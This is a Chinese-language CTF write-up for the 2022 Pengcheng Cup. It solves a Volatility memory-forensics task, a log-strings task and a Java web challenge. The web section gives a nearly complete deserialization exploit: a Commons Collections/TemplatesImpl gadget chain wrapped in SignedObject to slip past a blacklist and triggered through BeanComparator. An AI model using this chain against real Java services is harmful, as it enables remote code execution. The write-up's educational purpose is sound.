2022 鹏城杯（Yunoon）

Misc

简单取证

浏览记录查看vol.py -f file.raw --profile=WinXPSP2x86 iehistory

Process: 1600 explorer.exe
Cache type "URL " at 0x1fb5800
Record length: 0x100
Location: Visited: Administrator@http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome
Last modified: 2022-06-20 12:36:39 UTC+0000
Last accessed: 2022-06-20 12:36:39 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0xc4
**************************************************
Process: 1600 explorer.exe
Cache type "DEST" at 0x2ab9a55
Last modified: 2022-06-20 21:00:08 UTC+0000
Last accessed: 2022-06-20 13:00:10 UTC+0000
URL: Administrator@file:///C:/Documents%20and%20Settings/Administrator/Lhb/secret.jpg

获取到敏感文件secret.jpg

全局搜索secret.jpgvol.py -f file.raw --profile=WinXPSP2x86 filescan | grep secret.jpg

yunoon@YunoondeMacBook-Air Simple_forensics % vol.py -f file.raw --profile=WinXPSP2x86 filescan | grep secret.jpg
Volatility Foundation Volatility Framework 2.6.1
0x000000000207e3d8      1      0 RW-rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\Recent\secret.jpg (3).lnk
0x0000000002325028      1      0 R--r-- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\secret.jpg

提取secret.jpg vol.py -f file.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000002325028 --dump-dir=./
查看发现为base64加密的逆序数据,将其解密，得到一个加密的zip包。
通过strings file.raw | grep password获取到密码echo password = 62b041223bb9a
解压后，发现是散点图。
gnuplot绘制即可a
扫码获取flag：flag{a6b93e36-f097-11ec-a9b2-5254002d2b31}

what_is_log（是一血好耶！）

strings flag2.scap

challenge
info
info
name
name

challenge
info
+---------+----------------------------------+
| name    | data                             |
+---------+----------------------------------+
| success | 1555a651a13ec074ce725383214fd7cc |
+---------+----------------------------------+
1 row in set (0.00 sec)
/etc/localtime
mysql> 
+---------+----------------------------------+
| name    | data                
/proc/loadavg

flag: PCL{1555a651a13ec074ce725383214fd7cc}7cc}

Web

Ez_Java

解压后，通过IDEA进行反编译。
先通过signedobject二次反序列化绕黑名单

再用/data接口打cb链

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
    ClassPool.getDefault().get(calc.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
ConstantFactory constantFactory = new ConstantFactory(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(
            new Class[] { Templates.class },
            new Object[] { obj })
    };
    Transformer transformerChain = new ChainedTransformer(fakeTransformers);
    Map hashMap = new HashMap();
    Map outerMap = DefaultedMap.decorate(hashMap, transformerChain);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "key");
    HashMap evalMap = new HashMap();
    evalMap.put(tiedMapEntry, "test");
    outerMap.remove("key");
    Field declaredFields = ChainedTransformer.class.getDeclaredField("iTransformers");
    declaredFields.setAccessible(true);
    declaredFields.set(transformerChain, transformers);
    PrivateKey privateKey = new PrivateKey() {
        @Override
        public String getAlgorithm() {
            return null;
        }
    
        @Override
        public String getFormat() {
            return null;
        }
    
        @Override
        public byte[] getEncoded() {
            return new byte[0];
        }
    };
    Signature signature = new Signature("AES") {
        @Override
        protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
    
        }
    
        @Override
        protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
    
        }
    
        @Override
        protected void engineUpdate(byte b) throws SignatureException {
    
        }
    
        @Override
        protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
    
        }
    
        @Override
        protected byte[] engineSign() throws SignatureException {
            return new byte[0];
        }
    
        @Override
        protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
            return false;
        }
    
        @Override
        protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
    
        }
    
        @Override
        protected Object engineGetParameter(String param) throws InvalidParameterException {
            return null;
        }
    };
    SignedObject signedObject = new SignedObject(evalMap, privateKey, signature);
        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "object");
        setFieldValue(queue, "queue", new Object[]{signedObject, signedObject});
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();